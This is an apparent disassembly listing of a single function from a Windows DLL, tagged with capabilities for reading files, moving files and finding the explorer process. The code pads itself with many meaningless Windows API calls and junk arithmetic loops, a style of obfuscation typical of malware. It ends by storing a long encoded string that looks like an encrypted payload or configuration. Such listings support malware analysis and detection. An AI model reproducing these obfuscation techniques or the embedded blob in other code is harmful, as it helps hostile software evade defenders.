Function at 0x10003720
Capabilities:
Get explorer pid
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
cmp dword [0x10040b04], 0x4d662ae5
jne 0x100038fb
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_RealGetWindowClassW]
call dword [sym.imp.USER32.dll_GetShellWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_InvertRect]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameTransactedW]
push 0
call dword [sym.imp.USER32.dll_SetCaretBlinkTime]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareType]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumberEx]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
push 0
call dword [sym.imp.USER32.dll_IsImmersiveProcess]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
push 0
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PackDDElParam]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatusEx]
call dword [sym.imp.USER32.dll_GetMessagePos]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolTimerEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadGroupAffinity]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetClassInfoW]
call dword [sym.imp.USER32.dll_SoundSentry]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [ebp - 0x3c], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextStreamW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredContinueHandler]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventExW]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDCEx]
push 0
push 0
call dword [sym.imp.USER32.dll_RemovePropW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetRawInputDeviceInfoW]
push 0
call dword [sym.imp.USER32.dll_BlockInput]
mov eax, 4
imul ecx, eax, 0xa0
mov edx, dword [0x1005f348]
mov dword [edx + ecx], 0xa47
call fcn.10003f90
mov eax, 4
imul ecx, eax, 0x67
mov edx, dword [0x1005f348]
mov dword [edx + ecx], 0xa42
mov dword [ebp - 0x1c], 0x87b
mov dword [ebp - 0x24], 0xb19
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0xcfb
mov dword [ebp - 0x28], 0x1bb5
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x1a9c
mov dword [ebp - 0x20], 0x1848
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
sub eax, 0xe89
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1e0b
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0x2651
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x2110
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
add ecx, 0xe3
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0x2138
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
add eax, 0xdf7
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x15c3
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], 0
jmp 0x10003a40
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x3e
jge 0x10003a51
mov ecx, dword [ebp - 4]
add ecx, 3
mov dword [ebp - 4], ecx
jmp 0x10003a37
mov edx, dword [ebp - 0x18]
add edx, 0x419
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x11d4
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x260b
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 4]
add eax, 0x9e
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
and eax, 0x80000001
jns 0x10003aaa
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10003ab9
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x10003a9b
mov edx, dword [ebp - 0xc]
sub edx, 0x196f
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x86f
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x1740
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x28]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1f15
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x1a76
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xf50
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x815
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x1004
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x34], 0
jmp 0x10003b4d
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0x38
jge 0x10003b5e
mov eax, dword [ebp - 0x2c]
sub eax, 4
mov dword [ebp - 0x2c], eax
jmp 0x10003b44
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x211d
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x705
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x2414
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x38], 0
jmp 0x10003ba5
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x2f
jge 0x10003bb6
mov ecx, dword [ebp - 0x18]
sub ecx, 4
mov dword [ebp - 0x18], ecx
jmp 0x10003b9c
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1c]
add eax, 0xc48
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x2055
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 8]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
sub eax, 0x139e
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
and ecx, 0x80000001
jns 0x10003bfa
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10003c09
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x10003bea
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x2480
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
add eax, 0x1939
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x21a4
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
add eax, 0x197
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x230d
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x10]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003c78
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x10003c5e
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
add ecx, 0x3e5
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0x1916
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003cb3
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
jmp 0x10003c99
mov eax, dword [ebp - 0x1c]
sub eax, 0x1406
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x2169
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x5ad
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x241b
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
add eax, 0x2382
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x203b
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x19c0
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
add eax, 0x2372
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
add ecx, 0x815
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0x21d9
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 8]
sub eax, 0x1828
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x21b9
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
sub edx, 0x1b75
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
add eax, 0xf83
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x173d
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
add eax, 0x1240
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x1a7e
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x2182
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0xb9a
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x1f98
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1217
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 0x13c4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x14ce
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0x19b1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 8]
sub eax, 0x107a
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
and ecx, 0x80000001
jns 0x10003e6d
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10003e7c
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x10003e5d
mov eax, dword [ebp - 4]
sub eax, 0x1cd6
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
and ecx, 0x80000001
jns 0x10003e97
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10003ea7
mov edx, dword [ebp - 8]
add edx, 0xc95
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
sub eax, 0xd99
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x9ff
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
add edx, 0xd3b
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003ee4
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x10003eca
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x14]
add edx, 0xaa6
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1f3a
mov dword [ebp - 0x10], eax
mov ecx, 4
imul edx, ecx, 0xaf
mov eax, dword [0x1005f364]
mov dword [eax + edx], str.AQAAAFaIJV2U__OvFxaLzX7qFGhuH5Jemh127yX8LaG4FdQcZxXaqouScAMHIS07pfXq3r3Y5GLRTdvS1aEWWcIXy2zJRFgurpjb8tEUD3Q9UXsKlKX5VtTACCsSI86bpFu1x7GKWReomy4zUPsVFL_oCkw33Tdfz_k74PN3RoHo8zLyHljv6NAgAG5aTt_Losd4RqXNnUjfvWBpXrBZ_WmL6nSsjF0hvcCyElj3sjchYc5IovXioN30MyXvggyJN0DKbYByYj5_LWfhwU_dGyxm8i5dpDrhQrxGJYQlXJVCWJsC_E6NnmAmyRU_h8VYyZgvIhrjpAXRCClQc_Yna3ygj2w4IV5ofZNHIwRlPL1sL6AeecARQpj_kLVxvbtyPD1v0k_V56e2YLGEvQ_XDL4as7PGNbFPMs7qHoLLEa9AzLV9o6wVV8vegPpIgmFpCks5Kc8pMFHiCSygG5qEeCGUpGw_RDigOdYdgjil4Tij09eru1Twrh7ydpjGoHGn1rFTSEBWkeZUfjJwgQQ8jjCgRLl5WwErRCmv3c7f9QE2J2uW_1bZRMR6fCpzNl2ML86Ya5Udlnrm_g1f8elSY_uxueTm8JpTHPmBLglzLUwXRXHtdPZvhWSNIPHQjVnBsrq1PZoCMYYdnO4eBVq_IOv3U88mXDLyVHbkySlhiZE3a4wUWuqq1dJzZHqsTsuO4KNuHDUD8rVtPKykhQJPuA4vbcQMR3tvkgmzZ0S1Cur44HvqV5U1WAm_CFuFTYi0y8WEoxomKUPqOZ8J_EI_0katA2aQGG4ZFdkbcWl3SzVvGY8a9IDM0FogRn4VCesPdEBDQzpJpFpLaihkdUSkyIhajU8J8wFaJaTJ0vYtrqWMIswmuTPKBk4d1Zcr_22BJYbBXQcLyMS97JPa0OtBdmm6EoO2iZPOEAqHKTw7ZIUb4bWr9BJpZ33gm8ZOe1qeOQt24ZyUgz77oRWRsV2MOpuXMJ3KeMnQtqxsxDeI0sEeRf_i0S2cLy8fAQHZcp1VQJWYCwt5r3libQ8VYwZCTWNPrDqw8yZZp2fC8pk8oSijucuy90tQ3SgDNoKprxMMufzAd6vbO0Z5bHlNvKUEDriWnvx38oBCHmunUL5fWwRi8IQUIqIMzr9PuSlHY9vwXGik3oSJKYOJr4o60BcRRI4YadR9iTH9F8_N9WFzDThv6RnoRhVtC4wdzTKzxbjQI9kE0h8fj_b0rWQOxTgfU8zkQUbUgtozUnKhWtNPrYb93MNQGZEiVHUXDMXQAhetTeMQkCr3VC5x3n2Xadn7ofLLkR2nFqaV8wUuBi_yz0V_ILmrQVRtd8NkL556Scu0L_3bPwLRCbxsku8AG4ArMcvW8cR5HDthRy3xYRJKNoa4Vy36au40KCM80RyM7EMe95DGAB0fjG2msfAkH5PXuhGKobdZdYAPvL0Ci1kxmWQGfuEz961aCYGWtTczOGb0KpoCTOJv8sVErH8eItW2s7AKJb_LX5aBO8eIvTIgvQMsLfoUNozuPgNCr3Ha1oiMQ8cBNDMCaqXutdmNUWErChR8bpVMyZVAih0pPaBl_ZrjiPgWReCsOWkI0CKOE0lxm2q93IL1cyF3mJpDiJzdx8SNIekFjM3FQe4RrVmJHJYQSwHBoZ2SjteGWDMGgoqF_FwP3RHm2M6HYZ6_svgd1V_8Wi38CNFl1S36emfUOP7IrxJbmWPDNCGkEwRIPu1w1JIEUUSssYEUABMy4y8NWrtEqNBLfsW6U3QJS_rIvfZUunhdpRNzrdc93yTt8h0WAjLzQzSf_ADC_4pMusttiWUkNl3E_csUavwdtGXv3pFP7RbUSoyRN5h9UrzH3I6yD8oy36HGD8chtYb9IaJptHF8LBIF760VYxvxiCrp3HGDzgEujPZUvKuducv9e5iHqg446AyTdCc2CKwLlIyqNx7RUgO6PLaeqnFfq3TFH7FpSOdn2cGrZ2XrRdPxYh3jLx43l4NVxnkDUF4Tm3r0qY05gMSwfoWlBmtc7_L0mVGPW1BbL7Sr54Zl3IJtTOt06gdKiJktxcQTr39oUIc7limc1n7231CKYzmO1BC6fKeLL1tFTRNyHf2PrXhLMyvUU6zZDe2kbq7WEseLZfT2myL3AJri4JKuXpDhbvB9rtT381INQhiXdPiYkjuW8qhT7aOzCEURWZLaaLFe74fXKq91Xz2n0gMZGFjUFPEcSTjXP4LL0djMI2urASoPaoH6OMiQIUtCpogpxq9EPN5wEBLxsCczp5u36GTDv3CLA9a55I7kLu7RjNmsosffHYwH9dNBvHabgCEjVtQpKUzjjhAQhFYL_9EO0odDZvRABEiUROEksuJIgIEJdBn4ZhFm2UnIdaTwScKoSZwMRJEeElVk0eGpQ3rQpUBBKFLuwmajWF7fyHGEreLPCLugdH2OgxHUSxswh1KHB0_mOZePWZNufVsjEVqu7vRsa26i0e4CVeeYpJFJHbAh2EKz3L2bAZI1Y18pxMSCZBC4XCqWyC5M5d5P0gno3hoFi9aObR6tBWSX_JOWm3uDtDYQlbF8309jt1NzmvZPCGu_FH_eN8IlpjEauvZTRWD0LxohbLGOii0NVwtkQ0W69lelLyzf6i0XJ4spuYEtWj0j5Ofp1Q_9xrPQfX490E2jyI8xtNsslBnkWGF5dFd5TwATXotPnZRv6e_c6NTRpyvivkCflI2RbFoEuaQorAIBShMRZZrgYhvmZZedgOHuf89rV89udCXsj7YQiJkUsDpRUpDUCsknB0nMe81LrnWgsZ1OX6NZvXPKOgvEeW6AE6FyfxELipXMKRK14PhQGheat3BKb90FQGQuJuGoam_xmNBU2LnQQP_VTr3waJa9wfSfCMXwBtx4G1l1LS8oQKL2akWa5rtQOvKFyq6gBi2GMs5WT0aCrY647S3DdAp71Dck8WYwxEFtP5RzAaWqSLeMHkqfRXyJxpqgYuWVyOGTOida7TEPYawkfrp37aaXtn10ucwIL_Z4i8XJ6dnCLF05cHpiIzSDQmmbobRyYGWIdoBwy451x5CYpbiHy5HbJd7WvDfvksJ8o5uU6EcKT_2DuatmlHv4BJtd_fTwKxfiZrKGfEhkvz1rkXTPtbeWSsla7xoS8QODEEG6lcinqtCzoMuG0k8peo8_cM3_45_iynmD0O939CDYl3phU1b8Z6sHECff9AlIyjki3i50I7SOjrsB4tTOTZ4kxfHPcXhOdbzQOA5Oczz7XjWj70NJ28Fency4Te_Z6mwvkJEpKIqT52O5IOfALcy9ocl69PFlaR_YO3qr_YdXgRIHcYqFpauUL4AHMfaghvcZqa0O9jPyBBHqK6pmLlXFa3CIoGPmwWa8AErMRc14orltJ1RfYxjphNgL0hGOt7YQHJoDi_Fhn49XFJmjCUVA9dcIG__2rEUBp_xyQnPS0KF4_RawBi2so
mov esp, ebp
pop ebp
ret